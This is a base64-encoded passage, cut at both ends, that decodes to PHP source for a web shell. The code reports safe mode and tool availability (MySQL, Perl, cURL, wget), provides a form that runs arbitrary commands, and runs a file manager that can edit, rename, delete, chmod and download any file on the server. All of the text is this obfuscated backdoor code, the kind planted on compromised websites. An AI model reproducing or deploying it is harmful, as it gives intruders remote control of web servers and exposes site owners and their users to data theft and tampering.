U1RbJ25ld3ZhbHVlJ107aWYgKHN0cmxlbigkdmFsdWUpPT0zKXskdmFsdWUgPSAwIC4gIiIgLiAkdmFsdWU7fUBjaG1vZCgkcHdkLiRuYW1lLG9jdGRlYygkdmFsdWUpKTskZmlsZSA9ICRwd2QuJG5hbWU7fQ0KaWYoaXNzZXQoJF9QT1NUWydjaG1vZF9mb2xkZXInXSkpeyRuYW1lID0gJF9QT1NUWyduYW1lJ107JHZhbHVlID0gJF9QT1NUWyduZXd2YWx1ZSddO2lmIChzdHJsZW4oJHZhbHVlKT09Myl7JHZhbHVlID0gMCAuICIiIC4gJHZhbHVlO31AY2htb2QoJHB3ZC4kbmFtZSxvY3RkZWMoJHZhbHVlKSk7JGZpbGUgPSAkcHdkLiRuYW1lO30gJGJ1ZmYgPSAiJm5ic3A7Ii4kc29mdHdhcmUuIjxicj4iOyRidWZmIC49ICImbmJzcDsiLiRzeXN0ZW0uIjxicj4iO2lmKCRpZCAhPSAiIikgJGJ1ZmYgLj0gIiZuYnNwOyIuJGlkLiI8YnI+IjtpZigkc2FmZW1vZGUpICRidWZmIC49ICImbmJzcDtzYWZlbW9kZSA6Jm5ic3A7PGI+PGZvbnQgc3R5bGU9J2NvbG9yOiNERDQ3MzYnPk9OPC9mb250PjwvYj48YnI+IjtlbHNlICRidWZmIC49ICImbmJzcDtzYWZlbW9kZSA6Jm5ic3A7PGI+PGZvbnQgc3R5bGU9J2NvbG9yOiMwMEZGMDAnPk9GRjwvZm9udD48L2I+PGJyPiI7DQpmdW5jdGlvbiBzaG93c3RhdCgkc3RhdCkge2lmICgkc3RhdD09Im9uIikge3JldHVybiAiPGI+PGZvbnQgc3R5bGU9J2NvbG9yOiMwMEZGMDAnPk9OPC9mb250PjwvYj4iO31lbHNlIHtyZXR1cm4gIjxiPjxmb250IHN0eWxlPSdjb2xvcjojREQ0NzM2Jz5PRkY8L2ZvbnQ+PC9iPiI7fX0NCmZ1bmN0aW9uIHRlc3RteXNxbCgpIHtpZiAoZnVuY3Rpb25fZXhpc3RzKCdteXNxbF9jb25uZWN0JykpIHtyZXR1cm4gc2hvd3N0YXQoIm9uIik7fWVsc2Uge3JldHVybiBzaG93c3RhdCgib2ZmIik7fX0NCmZ1bmN0aW9uIHRlc3RjdXJsKCkge2lmIChmdW5jdGlvbl9leGlzdHMoJ2N1cmxfdmVyc2lvbicpKSB7cmV0dXJuIHNob3dzdGF0KCJvbiIpO31lbHNlIHtyZXR1cm4gc2hvd3N0YXQoIm9mZiIpO319DQpmdW5jdGlvbiB0ZXN0d2dldCgpIHtpZiAoZXhlKCd3Z2V0IC0taGVscCcpKSB7cmV0dXJuIHNob3dzdGF0KCJvbiIpO31lbHNlIHtyZXR1cm4gc2hvd3N0YXQoIm9mZiIpO319DQpmdW5jdGlvbiB0ZXN0cGVybCgpIHtpZiAoZXhlKCdwZXJsIC1oJykpIHtyZXR1cm4gc2hvd3N0YXQoIm9uIik7fWVsc2Uge3JldHVybiBzaG93c3RhdCgib2ZmIik7fX0NCiRidWZmIC49ICImbmJzcDtNeVNRTDogIi50ZXN0bXlzcWwoKS4iJm5ic3A7fCZuYnNwO1Blcmw6ICIudGVzdHBlcmwoKS4iJm5ic3A7fCZuYnNwO2NVUkw6ICIudGVzdGN1cmwoKS4iJm5ic3A7fCZuYnNwO1dHZXQ6ICIudGVzdHdnZXQoKS4iPGJyPiI7DQokYnVmZiAuPSAiJm5ic3A7Ii4kbGV0dGVycy4iJm5ic3A7Jmd0OyZuYnNwOyIuJHB3ZHVybDsNCmZ1bmN0aW9uIHJhcGloKCR0ZXh0KXtyZXR1cm4gdHJpbShzdHJfcmVwbGFjZSgiPGJyPiIsIiIsJHRleHQpKTt9IA0KZnVuY3Rpb24gbWFnaWNib29tKCR0ZXh0KXtpZiAoIWdldF9tYWdpY19xdW90ZXNfZ3BjKCkpe3JldHVybiAkdGV4dDt9IHJldHVybiBzdHJpcHNsYXNoZXMoJHRleHQpO30gDQpmdW5jdGlvbiBzaG93ZGlyKCRwd2QsJHByb21wdCl7JGZuYW1lID0gYXJyYXkoKTskZG5hbWUgPSBhcnJheSgpOw0KaWYoZnVuY3Rpb25fZXhpc3RzKCJwb3NpeF9nZXRwd3VpZCIpICYmIGZ1bmN0aW9uX2V4aXN0cygicG9zaXhfZ2V0Z3JnaWQiKSkgDQokcG9zaXggPSBUUlVFO2Vsc2UgJHBvc2l4ID0gRkFMU0U7JHVzZXIgPSAiPz8/Pzo/Pz8/IjsNCmlmKCRkaCA9IG9wZW5kaXIoJHB3ZCkpe3doaWxlKCRmaWxlID0gcmVhZGRpcigkZGgpKXsNCmlmKGlzX2RpcigkZmlsZSkpeyRkbmFtZVtdID0gJGZpbGU7fSANCmVsc2VpZihpc19maWxlKCRmaWxlKSl7JGZuYW1lW10gPSAkZmlsZTt9fWNsb3NlZGlyKCRkaCk7fSBzb3J0KCRmbmFtZSk7c29ydCgkZG5hbWUpOyRwYXRoID0gQGV4cGxvZGUoRElSRUNUT1JZX1NFUEFSQVRPUiwkcHdkKTskdHJlZSA9IEBzaXplb2YoJHBhdGgpOyRwYXJlbnQgPSAiIjsNCiRidWZmID0gIiA8Zm9ybSBhY3Rpb249Jz95PSIuJHB3ZC4iJmFtcDt4PXNoZWxsJyBtZXRob2Q9J3Bvc3QnIHN0eWxlPSdtYXJnaW46OHB4IDAgMCAwOyc+PHRhYmxlIGNsYXNzPSdjbWRib3gnIHN0eWxlPSd3aWR0aDo1MCU7Jz48dHI+PHRkPiRwcm9tcHQ8L3RkPjx0ZD48aW5wdXQgb25Nb3VzZU92ZXI9J3RoaXMuZm9jdXMoKTsnIGlkPSdjbWQnIGNsYXNzPSdpbnB1dHonIHR5cGU9J3RleHQnIG5hbWU9J2NtZCcgc3R5bGU9J3dpZHRoOjQwMHB4OycgdmFsdWU9JycgLz48aW5wdXQgY2xhc3M9J2lucHV0emJ1dCcgdHlwZT0nc3VibWl0JyB2YWx1ZT0nRG8gIScgbmFtZT0nc3VibWl0Y21kJyBzdHlsZT0nd2lkdGg6ODBweDsnIC8+PC90ZD48L3RyPjwvZm9ybT48Zm9ybSBhY3Rpb249Jz8nIG1ldGhvZD0nZ2V0JyBzdHlsZT0nbWFyZ2luOjhweCAwIDAgMDsnPjxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J3knIHZhbHVlPSciLiRwd2QuIicgLz48dHI+PHRkPnZpZXcgZmlsZS9mb2xkZXI8L3RkPjxjZW50ZXI+PHRkPjxpbnB1dCBvbk1vdXNlT3Zlcj0ndGhpcy5mb2N1cygpOycgaWQ9J2dvdG8nIGNsYXNzPSdpbnB1dHonIHR5cGU9J3RleHQnIG5hbWU9J3ZpZXcnIHN0eWxlPSd3aWR0aDo0MDBweDsnIHZhbHVlPSciLiRwd2QuIicgLz48aW5wdXQgY2xhc3M9J2lucHV0emJ1dCcgdHlwZT0nc3VibWl0JyB2YWx1ZT0ndmlldyAhJyBuYW1lPSdzdWJtaXRjbWQnIHN0eWxlPSd3aWR0aDo4MHB4OycgLz48L3RkPjwvY2VudGVyPjwvdHI+PC9mb3JtPjwvdGFibGU+PHRhYmxlIGNsYXNzPSdleHBsb3JlJz4gPHRyPjx0aD5uYW1lPC90aD48dGggc3R5bGU9J3dpZHRoOjgwcHg7Jz5zaXplPC90aD48dGggc3R5bGU9J3dpZHRoOjIxMHB4Oyc+b3duZXI6Z3JvdXA8L3RoPjx0aCBzdHlsZT0nd2lkdGg6ODBweDsnPnBlcm1zPC90aD48dGggc3R5bGU9J3dpZHRoOjExMHB4Oyc+bW9kaWZpZWQ8L3RoPjx0aCBzdHlsZT0nd2lkdGg6MTkwcHg7Jz5hY3Rpb25zPC90aD48L3RyPiAiOw0KaWYoJHRyZWUgPiAyKSANCmZvcigkaT0wOyRpPCR0cmVlLTI7JGkrKykgJHBhcmVudCAuPSAkcGF0aFskaV0uRElSRUNUT1JZX1NFUEFSQVRPUjsNCmVsc2UgJHBhcmVudCA9ICRwd2Q7DQpmb3JlYWNoKCRkbmFtZSBhcyAkZm9sZGVyKXsNCmlmKCRmb2xkZXIgPT0gIi4iKSB7DQppZighJHdpbiAmJiAkcG9zaXgpeyRuYW1lPUBwb3NpeF9nZXRwd3VpZChAZmlsZW93bmVyKCRmb2xkZXIpKTskZ3JvdXA9QHBvc2l4X2dldGdyZ2lkKEBmaWxlZ3JvdXAoJGZvbGRlcikpOyRvd25lciA9ICRuYW1lWyduYW1lJ10uIjxzcGFuIGNsYXNzPSdnYXlhJz4gOiA8L3NwYW4+Ii4kZ3JvdXBbJ25hbWUnXTt9IA0KZWxzZSB7JG93bmVyID0gJHVzZXI7fQ0KJGJ1ZmYgLj0gIjx0cj48dGQ+PGEgaHJlZj1cIj95PSIuJHB3ZC4iXCI+JGZvbGRlcjwvYT48L3RkPjx0ZD4tPC90ZD4NCjx0ZCBzdHlsZT1cInRleHQtYWxpZ246Y2VudGVyO1wiPiIuJG93bmVyLiI8L3RkPg0KPHRkPjxjZW50ZXI+Ii5nZXRfcGVybXMoJHB3ZCkuIjwvY2VudGVyPjwvdGQ+DQo8dGQgc3R5bGU9XCJ0ZXh0LWFsaWduOmNlbnRlcjtcIj4iLmRhdGUoImQtTS1ZIEg6aSIsQGZpbGVtdGltZSgkcHdkKSkuIjwvdGQ+PHRkPjxzcGFuIGlkPVwidGl0aWsxXCI+DQo8YSBocmVmPVwiP3k9JHB3ZCZhbXA7ZWRpdD0iLiRwd2QuIm5ld2ZpbGUucGhwXCI+bmV3ZmlsZTwvYT4gfCA8YSBocmVmPVwiamF2YXNjcmlwdDp0dWthcigndGl0aWsxJywndGl0aWsxX2Zvcm0nKTtcIj5uZXdmb2xkZXI8L2E+DQo8L3NwYW4+PGZvcm0gYWN0aW9uPVwiP1wiIG1ldGhvZD1cImdldFwiIGlkPVwidGl0aWsxX2Zvcm1cIiBjbGFzcz1cInNlbWJ1bnlpXCIgc3R5bGU9XCJtYXJnaW46MDtwYWRkaW5nOjA7XCI+IA0KPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwieVwiIHZhbHVlPVwiIi4kcHdkLiJcIiAvPiANCjxpbnB1dCBjbGFzcz1cImlucHV0elwiIHN0eWxlPVwid2lkdGg6MTQwcHg7XCIgdHlwZT1cInRleHRcIiBuYW1lPVwibWtkaXJcIiB2YWx1ZT1cImFfbmV3X2ZvbGRlclwiIC8+IA0KPGlucHV0IGNsYXNzPVwiaW5wdXR6YnV0XCIgdHlwZT1cInN1Ym1pdFwiIG5hbWU9XCJyZW5hbWVcIiBzdHlsZT1cIndpZHRoOjM1cHg7XCIgdmFsdWU9XCJHb1wiIC8+IA0KPC9mb3JtPjwvdGQ+PC90cj4gIjt9IA0KZWxzZWlmKCRmb2xkZXIgPT0gIi4uIil7IA0KaWYoISR3aW4gJiYgJHBvc2l4KQ0KeyRuYW1lPUBwb3NpeF9nZXRwd3VpZChAZmlsZW93bmVyKCRmb2xkZXIpKTskZ3JvdXA9QHBvc2l4X2dldGdyZ2lkKEBmaWxlZ3JvdXAoJGZvbGRlcikpOw0KJG93bmVyID0gJG5hbWVbJ25hbWUnXS4iPHNwYW4gY2xhc3M9XCJnYXlhXCI+IDogPC9zcGFuPiIuJGdyb3VwWyduYW1lJ107fSANCmVsc2UgeyAkb3duZXIgPSAkdXNlcjsgfSANCiRidWZmIC49ICI8dHI+PHRkPg0KPGEgaHJlZj1cIj95PSIuJHBhcmVudC4iXCI+ICAkZm9sZGVyPC9hPjwvdGQ+PHRkPi08L3RkPg0KPHRkIHN0eWxlPVwidGV4dC1hbGlnbjpjZW50ZXI7XCI+Ii4kb3duZXIuIjwvdGQ+DQo8dGQ+PGNlbnRlcj4iLmdldF9wZXJtcygkcGFyZW50KS4iPC9jZW50ZXI+PC90ZD4gPHRkIHN0eWxlPVwidGV4dC1hbGlnbjpjZW50ZXI7XCI+Ii5kYXRlKCJkLU0tWSBIOmkiLEBmaWxlbXRpbWUoJHBhcmVudCkpLiI8L3RkPg0KPHRkPjxzcGFuIGlkPVwidGl0aWsyXCI+PGEgaHJlZj1cIj95PSRwd2QmYW1wO2VkaXQ9Ii4kcGFyZW50LiJuZXdmaWxlLnBocFwiPm5ld2ZpbGU8L2E+IHwgPGEgaHJlZj1cImphdmFzY3JpcHQ6dHVrYXIoJ3RpdGlrMicsJ3RpdGlrMl9mb3JtJyk7XCI+bmV3Zm9sZGVyPC9hPjwvc3Bhbj4gDQo8Zm9ybSBhY3Rpb249XCI/XCIgbWV0aG9kPVwiZ2V0XCIgaWQ9XCJ0aXRpazJfZm9ybVwiIGNsYXNzPVwic2VtYnVueWlcIiBzdHlsZT1cIm1hcmdpbjowO3BhZGRpbmc6MDtcIj4gDQo8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJ5XCIgdmFsdWU9XCIiLiRwd2QuIlwiIC8+IA0KPGlucHV0IGNsYXNzPVwiaW5wdXR6XCIgc3R5bGU9XCJ3aWR0aDoxNDBweDtcIiB0eXBlPVwidGV4dFwiIG5hbWU9XCJta2RpclwiIHZhbHVlPVwiYV9uZXdfZm9sZGVyXCIgLz4gDQo8aW5wdXQgY2xhc3M9XCJpbnB1dHpidXRcIiB0eXBlPVwic3VibWl0XCIgbmFtZT1cInJlbmFtZVwiIHN0eWxlPVwid2lkdGg6MzVweDtcIiB2YWx1ZT1cIkdvXCIgLz4gDQo8L2Zvcm0+PC90ZD48L3RyPiI7fWVsc2V7aWYoISR3aW4gJiYgJHBvc2l4KXsgDQokbmFtZT1AcG9zaXhfZ2V0cHd1aWQoQGZpbGVvd25lcigkZm9sZGVyKSk7IA0KJGdyb3VwPUBwb3NpeF9nZXRncmdpZChAZmlsZWdyb3VwKCRmb2xkZXIpKTsgDQokb3duZXIgPSAkbmFtZVsnbmFtZSddLiI8c3BhbiBjbGFzcz1cImdheWFcIj4gOiA8L3NwYW4+Ii4kZ3JvdXBbJ25hbWUnXTt9IA0KZWxzZSB7ICRvd25lciA9ICR1c2VyOyB9DQokYnVmZiAuPSAiPHRyPjx0ZD48YSBpZD1cIiIuY2xlYXJzcGFjZSgkZm9sZGVyKS4iX2xpbmtcIiBocmVmPVwiP3k9Ii4kcHdkLiRmb2xkZXIuRElSRUNUT1JZX1NFUEFSQVRPUi4iXCI+PGltZyBzcmM9J2RhdGE6aW1hZ2UvcG5nO2Jhc2U2NCxpVkJPUncwS0dnb0FBQUFOU1VoRVVnQUFBQkFBQUFBUUNBWUFBQUFmOC85aEFBQUFCR2RCVFVFQUFMR1BDL3hoQlFBQUFBbHdTRmx6QUFBT3dnQUFEc0lCRlNoS2dBQUFBQnAwUlZoMFUyOW1kSGRoY21VQVVHRnBiblF1VGtWVUlIWXpMalV1TVRBdzlIS2hBQUFDa1VsRVFWUTRUOFdUMlV2VVVSekZ6Mk5SVDVwYWI5WkRZWk5NTGpOcTZyZzFGcWhsNWN3OHFBKzJrSm1CZ3hLVWhWcFc0eTZGWmJsa2FSUk9wa1FMSVRLRzFFUmhDNUpNdWFWbXp1UVdCRDNlMjduTjBEL1FRei80OFAxKzd6bm5lKy9MRC9qdm4xNFh0VVlYcVUrTzBrZWJZMk5pTGZGeEJrdWlJY21TbkpSaU1lNU10ZXhLM1cwMnBoak5TWW5KWmtOOGdpa21lb2VKR1JNelJyMU92eFpiUXpUQlpDQlVFK29KRDR2d2NKRW5OaWJPWTRoTDhIQ1JKekVoNlUvUE16YzFkL2oyQ1BjMlRhaWJtU0ZOaUdZVDdoVDduYnlVNTc5eTRkQTZXWFVzUU5hY0NKUjFSWUd5b1RoSU5wWnM4TEZlMWx1RC9taTIvQUJaZWRCZjJ2TDhmblNWK0pkaG9oWlBKK3NndjE2SDlOeUdYT3lHWEg0QXVkTExldGZMU2g4clo2VXBqL0pPTVROUkF3ZkdhOUEzV2V0YjBPbGJRUFBTZmZaZFhwYlovMTFBajFxZ011UFZlSVl4RzdyR2JaQXpUWkR6SFpEZmVlT2luZHhqZjVNM3RrTXVNTFRFc3dWcXlqTnpsZUVxU0daNzRLckVaVmNGbjFRUE1jZk43ZzRJUGxQTU4wTjhhL0l5Ujl4dGhKcnlURFZBdU01QnVzNmpCYVBsS0I4NXhXMFhJYVliK2J4cmtMTlhJTDVVUXhKVnhSUmZPTTBMWm5tejhpaXZ5b3lXd1lhUlVoUzhMWUw0V0FyeHVSSmlvb3ExQXVMVEdSOW5PWmQ1ejVRMlJvL3lxc3pJYVZneGJFWG15OE9RYndvaDNwZEF2ck5DdkQ0S01Yd2NjcmlBVlZGSVBSL2lRekdoUjNsZk1NT3NDWTRjaFBWYjhKUEl3VnpJNXptUUEyYUkvDQppek83QWV6T1ZOelpFTU01VkduUjNuSkwwY3VJbkVySGNIMkRIVGIwK0RzemNTcmgxbHdQamI3c01ENWhLajVrUWxPcGZYUlkwK0hzenNEUFowWjJJamNNS3l1VHNYbTVqUm9iK3lCdG5VZnRHMEhTQmEwN1FxVHQ3YnU5Mm90ZTZGdFRvZVdtUzFIZEZqMXp6L3piOVpxbWxaODY2WTZBQUFBQUVsRlRrU3VRbUNDJyAvPiAgWyAkZm9sZGVyIF08L2E+IA0KPGZvcm0gYWN0aW9uPVwiP3k9JHB3ZFwiIG1ldGhvZD1cInBvc3RcIiBpZD1cIiIuY2xlYXJzcGFjZSgkZm9sZGVyKS4iX2Zvcm1cIiBjbGFzcz1cInNlbWJ1bnlpXCIgc3R5bGU9XCJtYXJnaW46MDtwYWRkaW5nOjA7XCI+IA0KPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwib2xkbmFtZVwiIHZhbHVlPVwiIi4kZm9sZGVyLiJcIiBzdHlsZT1cIm1hcmdpbjowO3BhZGRpbmc6MDtcIiAvPiANCjxpbnB1dCBjbGFzcz1cImlucHV0elwiIHN0eWxlPVwid2lkdGg6MjAwcHg7XCIgdHlwZT1cInRleHRcIiBuYW1lPVwibmV3bmFtZVwiIHZhbHVlPVwiIi4kZm9sZGVyLiJcIiAvPiANCjxpbnB1dCBjbGFzcz1cImlucHV0emJ1dFwiIHR5cGU9XCJzdWJtaXRcIiBuYW1lPVwicmVuYW1lXCIgdmFsdWU9XCJyZW5hbWVcIiAvPiANCjxpbnB1dCBjbGFzcz1cImlucHV0emJ1dFwiIHR5cGU9XCJzdWJtaXRcIiBuYW1lPVwiY2FuY2VsXCIgdmFsdWU9XCJjYW5jZWxcIiBvbmNsaWNrPVwidHVrYXIoJyIuY2xlYXJzcGFjZSgkZm9sZGVyKS4iX2Zvcm0nLCciLmNsZWFyc3BhY2UoJGZvbGRlcikuIl9saW5rJyk7XCIgLz4NCjwvZm9ybT4gPC90ZD48dGQ+RElSPC90ZD48dGQgc3R5bGU9XCJ0ZXh0LWFsaWduOmNlbnRlcjtcIj4iLiRvd25lci4iPC90ZD48dGQ+PGNlbnRlcj4NCjxhIGhyZWY9XCJqYXZhc2NyaXB0OnR1a2FyKCciLmNsZWFyc3BhY2UoJGZvbGRlcikuIl9saW5rJywnIi5jbGVhcnNwYWNlKCRmb2xkZXIpLiJfZm9ybTMnKTtcIj4iLmdldF9wZXJtcygkcHdkLiRmb2xkZXIpLiI8L2E+DQo8Zm9ybSBhY3Rpb249XCI/eT0kcHdkXCIgbWV0aG9kPVwicG9zdFwiIGlkPVwiIi5jbGVhcnNwYWNlKCRmb2xkZXIpLiJfZm9ybTNcIiBjbGFzcz1cInNlbWJ1bnlpXCIgc3R5bGU9XCJtYXJnaW46MDtwYWRkaW5nOjA7XCI+IA0KPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwibmFtZVwiIHZhbHVlPVwiIi4kZm9sZGVyLiJcIiBzdHlsZT1cIm1hcmdpbjowO3BhZGRpbmc6MDtcIiAvPiANCjxpbnB1dCBjbGFzcz1cImlucHV0elwiIHN0eWxlPVwid2lkdGg6MjAwcHg7XCIgdHlwZT1cInRleHRcIiBuYW1lPVwibmV3dmFsdWVcIiB2YWx1ZT1cIiIuc3Vic3RyKHNwcmludGYoJyVvJywgZmlsZXBlcm1zKCRwd2QuJGZvbGRlcikpLCAtNCkuIlwiIC8+IA0KPGlucHV0IGNsYXNzPVwiaW5wdXR6YnV0XCIgdHlwZT1cInN1Ym1pdFwiIG5hbWU9XCJjaG1vZF9mb2xkZXJcIiB2YWx1ZT1cImNobW9kXCIgLz4gDQo8aW5wdXQgY2xhc3M9XCJpbnB1dHpidXRcIiB0eXBlPVwic3VibWl0XCIgbmFtZT1cImNhbmNlbFwiIHZhbHVlPVwiY2FuY2VsXCIgDQpvbmNsaWNrPVwidHVrYXIoJyIuY2xlYXJzcGFjZSgkZm9sZGVyKS4iX2xpbmsnLCciLmNsZWFyc3BhY2UoJGZvbGRlcikuIl9mb3JtMycpO1wiIC8+PC9mb3JtPjwvY2VudGVyPjwvdGQ+PHRkIHN0eWxlPVwidGV4dC1hbGlnbjpjZW50ZXI7XCI+Ii5kYXRlKCJkLU0tWSBIOmkiLEBmaWxlbXRpbWUoJGZvbGRlcikpLiI8L3RkPjx0ZD48YSBocmVmPVwiamF2YXNjcmlwdDp0dWthcignIi5jbGVhcnNwYWNlKCRmb2xkZXIpLiJfbGluaycsJyIuY2xlYXJzcGFjZSgkZm9sZGVyKS4iX2Zvcm0nKTtcIj5yZW5hbWU8L2E+fCA8YSBocmVmPVwiP3k9JHB3ZCZhbXA7ZmRlbGV0ZT0iLiRwd2QuJGZvbGRlci4iXCI+ZGVsZXRlPC9hPg0KPC90ZD4NCjwvdHI+Ijt9fWZvcmVhY2goJGZuYW1lIGFzICRmaWxlKXsgDQokZnVsbCA9ICRwd2QuJGZpbGU7IA0KaWYoISR3aW4gJiYgJHBvc2l4KXskbmFtZT1AcG9zaXhfZ2V0cHd1aWQoQGZpbGVvd25lcigkZmlsZSkpOyAkZ3JvdXA9QHBvc2l4X2dldGdyZ2lkKEBmaWxlZ3JvdXAoJGZpbGUpKTsgJG93bmVyID0gJG5hbWVbJ25hbWUnXS4iPHNwYW4gY2xhc3M9XCJnYXlhXCI+IDogPC9zcGFuPiIuJGdyb3VwWyduYW1lJ107fSANCmVsc2UgeyAkb3duZXIgPSAkdXNlcjsgfSANCiRidWZmIC49ICI8dHI+PHRkPjxhIGlkPVwiIi5jbGVhcnNwYWNlKCRmaWxlKS4iX2xpbmtcIiBocmVmPVwiP3k9JHB3ZCZhbXA7dmlldz0kZnVsbFwiPjxpbWcgc3JjPSdkYXRhOmltYWdlL3BuZztiYXNlNjQsaVZCT1J3MEtHZ29BQUFBTlNVaEVVZ0FBQUJBQUFBQVFDQVlBQUFBZjgvOWhBQUFBQVhOU1IwSUFyczRjNlFBQUFBUm5RVTFCQUFDeGp3djhZUVVBQUFBSmNFaFpjd0FBRHNNQUFBN0RBY2R2cUdRQUFBQWFkRVZZZEZOdlpuUjNZWEpsQUZCaGFXNTBMazVGVkNCMk15NDFMakV3TVBSeW9RQUFBWFZKUkVGVU9FK05ranRQd2xBWWh2MERMRVpKU0RRYXdRQ1RjWUQvWVdJa3pxeDBjSFQxRDdDNG5NUkZTZE9XaTR1em05RkZYY1JCSTNLeFFHbExvWUNBSUx5ZWtoaVJ3NlVuZVpLbWViOG43OWVlcGFXLzQzZTVYRkdmejBjc3ZGNHY4WGkyeWZyR0psbGVjUklhMnhuTE1vK09jRGlzNmtZTnVsRWZVZEVNWkQvS3VIMUlRN3k2UmlRUzBlWkpBb2xraWc2VS9wSEp5MGkvdk9QbS9nbmxpa1lsM0V4Sk1KbTZoRnhXR1FwRmhVcXlLSlFxeU5GR0hNZnB0TW51NUE1VWtCclZacWtpTHl0NHpjckk1SXQ0eThuWTJ3OVprclZ4U2RCYW9Wb3paNkxxdFZHRHU4ZG5IQjJmZ0E0SEdZSFphR0UyVFJqMUJvcUtobE55eGdyaWlTUmFuKzJGbU0wV1lyekFDaVFxNkhTN0MybDN1aERqaVNrQyt2S3IxN09GTkUwZ1NuSDArOSsyc0xMTVJ4UkVDWVBCd0JhQ09FWEFDeUtHdzZFdGVFRmlHZ1RPWXp6c25ndWFwU3NFeHUrQjR5QjBxSllVbGY1cmN5NVd4c3JTWWNma2RmYXZPcDNSTGJlYnpNUEswRUgvNy9BUHY1OWo3WCtnSk5JQUFBQUFTVVZPUks1Q1lJSSUzRCcgLz4gICRmaWxlPC9hPiANCjxmb3JtIGFjdGlvbj1cIj95PSRwd2RcIiBtZXRob2Q9XCJwb3N0XCIgaWQ9XCIiLmNsZWFyc3BhY2UoJGZpbGUpLiJfZm9ybVwiIGNsYXNzPVwic2VtYnVueWlcIiBzdHlsZT1cIm1hcmdpbjowO3BhZGRpbmc6MDtcIj4gDQo8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJvbGRuYW1lXCIgdmFsdWU9XCIiLiRmaWxlLiJcIiBzdHlsZT1cIm1hcmdpbjowO3BhZGRpbmc6MDtcIiAvPiANCjxpbnB1dCBjbGFzcz1cImlucHV0elwiIHN0eWxlPVwid2lkdGg6MjAwcHg7XCIgdHlwZT1cInRleHRcIiBuYW1lPVwibmV3bmFtZVwiIHZhbHVlPVwiIi4kZmlsZS4iXCIgLz4gDQo8aW5wdXQgY2xhc3M9XCJpbnB1dHpidXRcIiB0eXBlPVwic3VibWl0XCIgbmFtZT1cInJlbmFtZVwiIHZhbHVlPVwicmVuYW1lXCIgLz4gDQo8aW5wdXQgY2xhc3M9XCJpbnB1dHpidXRcIiB0eXBlPVwic3VibWl0XCIgbmFtZT1cImNhbmNlbFwiIHZhbHVlPVwiY2FuY2VsXCIgb25jbGljaz1cInR1a2FyKCciLmNsZWFyc3BhY2UoJGZpbGUpLiJfbGluaycsJyIuY2xlYXJzcGFjZSgkZmlsZSkuIl9mb3JtJyk7XCIgLz4NCjwvZm9ybT48L3RkPjx0ZD4iLnVrdXJhbigkZnVsbCkuIjwvdGQ+PHRkIHN0eWxlPVwidGV4dC1hbGlnbjpjZW50ZXI7XCI+Ii4kb3duZXIuIjwvdGQ+PHRkPjxjZW50ZXI+DQo8YSBocmVmPVwiamF2YXNjcmlwdDp0dWthcignIi5jbGVhcnNwYWNlKCRmaWxlKS4iX2xpbmsnLCciLmNsZWFyc3BhY2UoJGZpbGUpLiJfZm9ybTInKTtcIj4iLmdldF9wZXJtcygkZnVsbCkuIjwvYT4NCjxmb3JtIGFjdGlvbj1cIj95PSRwd2RcIiBtZXRob2Q9XCJwb3N0XCIgaWQ9XCIiLmNsZWFyc3BhY2UoJGZpbGUpLiJfZm9ybTJcIiBjbGFzcz1cInNlbWJ1bnlpXCIgc3R5bGU9XCJtYXJnaW46MDtwYWRkaW5nOjA7XCI+IA0KPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwibmFtZVwiIHZhbHVlPVwiIi4kZmlsZS4iXCIgc3R5bGU9XCJtYXJnaW46MDtwYWRkaW5nOjA7XCIgLz4gDQo8aW5wdXQgY2xhc3M9XCJpbnB1dHpcIiBzdHlsZT1cIndpZHRoOjIwMHB4O1wiIHR5cGU9XCJ0ZXh0XCIgbmFtZT1cIm5ld3ZhbHVlXCIgdmFsdWU9XCIiLnN1YnN0cihzcHJpbnRmKCclbycsIGZpbGVwZXJtcygkZnVsbCkpLCAtNCkuIlwiIC8+IA0KPGlucHV0IGNsYXNzPVwiaW5wdXR6YnV0XCIgdHlwZT1cInN1Ym1pdFwiIG5hbWU9XCJjaG1vZFwiIHZhbHVlPVwiY2htb2RcIiAvPiANCjxpbnB1dCBjbGFzcz1cImlucHV0emJ1dFwiIHR5cGU9XCJzdWJtaXRcIiBuYW1lPVwiY2FuY2VsXCIgdmFsdWU9XCJjYW5jZWxcIiBvbmNsaWNrPVwidHVrYXIoJyIuY2xlYXJzcGFjZSgkZmlsZSkuIl9saW5rJywnIi5jbGVhcnNwYWNlKCRmaWxlKS4iX2Zvcm0yJyk7XCIgLz48L2Zvcm0+PC9jZW50ZXI+PC90ZD4NCjx0ZCBzdHlsZT1cInRleHQtYWxpZ246Y2VudGVyO1wiPiIuZGF0ZSgiZC1NLVkgSDppIixAZmlsZW10aW1lKCRmdWxsKSkuIjwvdGQ+IA0KPHRkPjxhIGhyZWY9XCI/eT0kcHdkJmFtcDtlZGl0PSRmdWxsXCI+ZWRpdDwvYT4gfCA8YSBocmVmPVwiamF2YXNjcmlwdDp0dWthcignIi5jbGVhcnNwYWNlKCRmaWxlKS4iX2xpbmsnLCciLmNsZWFyc3BhY2UoJGZpbGUpLiJfZm9ybScpO1wiPnJlbmFtZTwvYT58IDxhIGhyZWY9XCI/eT0kcHdkJmFtcDtkZWxldGU9JGZ1bGxcIj5kZWxldGU8L2E+IHwgPGEgaHJlZj1cIj95PSRwd2QmYW1wO2RsPSRmdWxsXCI+ZG93bmxvYWQ8L2E+Jm5ic3A7KDxhIGhyZWY9XCI/eT0kcHdkJmFtcDtkbGd6aXA9JGZ1bGxcIj5nejwvYT4pDQo8L3RkPjwvdHI+Ijt9IA0KJGJ1ZmYgLj0gIjwvdGFibGU+IjsgcmV0dXJuICRidWZmO30NCmZ1bmN0aW9uIHVrdXJhbigkZmlsZSl7aWYoJHNpemUgPSBAZmlsZXNpemUoJGZpbGUpKXtpZigkc2l6ZSA8PSAxMDI0KSByZXR1cm4gJHNpemU7ZWxzZXtpZigkc2l6ZSA8PSAxMDI0KjEwMjQpIHskc2l6ZSA9IEByb3VuZCgkc2l6ZSAvIDEwMjQsMik7Ow0KcmV0dXJuICIkc2l6ZSBrYiI7fSBlbHNlIHskc2l6ZSA9IEByb3VuZCgkc2l6ZSAvIDEwMjQgLyAxMDI0LDIpO3JldHVybiAiJHNpemUgbWIiO319fQ0KZWxzZSByZXR1cm4gIj8/PyI7fSBmdW5jdGl